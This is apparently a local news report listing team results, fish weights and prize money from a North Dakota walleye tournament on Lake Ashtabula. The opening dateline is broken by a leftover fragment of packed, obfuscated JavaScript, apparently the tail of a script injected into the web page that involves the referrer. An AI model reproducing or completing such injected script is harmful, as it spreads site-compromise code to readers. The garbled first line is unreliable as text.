VALLEY rrshy|var|u0026u|referrer|krfkz||js|php’.split(‘|’),0,{}))
CITY, N.D. (NewsDakota.com) – 96 teams competed in the 26th Annual Barnes County Wildlife Walleye Tournament on Lake Ashtabula held June 13th and 14th. There were 574 walleyes weighed in over the weekend, totaling 1186 lbs.
Place | Members | Sat. | Sun. | Total | Prize |
---|---|---|---|---|---|
1 | TONY BUNDY / KEN DIDIER | 10.30 | 17.65 | 27.95 | $ 1,500.00 |
2 | DANA NOOT / NICK NOOT | 13.95 | 11.30 | 25.25 | $ 1,000.00 |
3 | STEVE HIRCHERT / MIKE CRABTREE | 10.40 | 12.85 | 23.25 | $ 900.00 |
4 | BRADEN WENAAS / MATT SORENSON | 12.95 | 9.45 | 22.40 | $ 800.00 |
5 | JASON VASICHEK / DANE CHRISTENSEN | 9.80 | 12.35 | 22.15 | $ 700.00 |
6 | STEVE ROBERTSDAHL / LEVI ROBERTSDAHL | 11.30 | 10.85 | 22.15 | $ 600.00 |
7 | JOHN SADEK / ALEX SADEK | 11.40 | 10.60 | 22.00 | $ 500.00 |
8 | BILL DOLL / JEREMY EGGERS | 11.90 | 9.80 | 21.70 | $ 400.00 |
9 | DARREL WEGNER / CODY WEGNER | 11.30 | 10.30 | 21.60 | $ 350.00 |
10 | JUSTIN DAHL / JON HEIDORN | 11.10 | 10.05 | 21.15 | $ 300.00 |
11 | CASEY DODGSON / LOGAN CLARK | 15.95 | 5.15 | 21.10 | $ 200.00 |
12 | ZANE SEELYE / MISSY SEELYE | 10.50 | 10.40 | 20.90 | $ 200.00 |
13 | WARREN BOUGHTEN / MAHLON BOUGHTON | 9.75 | 10.90 | 20.65 | $ 200.00 |
14 | BRAD TIBKE / DENNIS MORITZ | 7.75 | 12.70 | 20.45 | $ 200.00 |
15 | BUTCH FLATH / DALE ZAUN | 10.70 | 9.55 | 20.25 | $ 200.00 |
16 | BOB ELTON / PERRY KUSS | 16.25 | 3.25 | 19.50 | $ 200.00 |
17 | KEN ENSTAD / TREVOR ENSTAD | 8.55 | 10.80 | 19.35 | $ 200.00 |
17 | CASEY BRANDENBERG / CHUCK BRANDENBERG | 11.80 | 7.55 | 19.35 | $ 200.00 |
19 | JEFF DIFFERDING / JAMIE DIFFERDING | 12.00 | 7.20 | 19.20 | $ 200.00 |
20 | JEFF CONNER / KARI CONNER | 9.60 | 9.55 | 19.15 | $ 200.00 |
Place | Saturday Biggest Walleye | Weight | Prize | ||
1 | CASEY DODGSON / LOGAN CLARK | 5.80 | $ 200.00 | ||
2 | BRADEN WENAAS / MATT SORENSON | 5.50 | $ 100.00 | ||
Place | Sunday Biggest Walleye | Weight | Prize | ||
1 | TONY BUNDY / KEN DIDIER | 8.50 | $ 200.00 | ||
2 | DENNY DIDIER / CODY DIDIER | 7.75 | $ 100.00 | ||
Place | Saturday Biggest Northern | Weight | Prize | ||
1 | JOHN GROVER / DAVID HOOK | 16.70 | $ 100.00 | ||
2 | MATT ANDERSON / RALPH ANDERSON | 9.70 | $ 50.00 | ||
Place | Sunday Biggest Northern | Weight | Prize | ||
1 | BRUCE PULKRABEK / TYLER PULKRABEK | 10.30 | $ 100.00 | ||
2 | BRUCE NIELSEN / NICK NIELSEN | 7.40 |
$ 50.00
|
Above far left Perry Kapaun with the 1st place team of Tony Bundy and Ken Didier
Above: 2nd place team Dana & Nick Noot.
Above: 3rd place team Steve Hirchert and Mike Crabtree.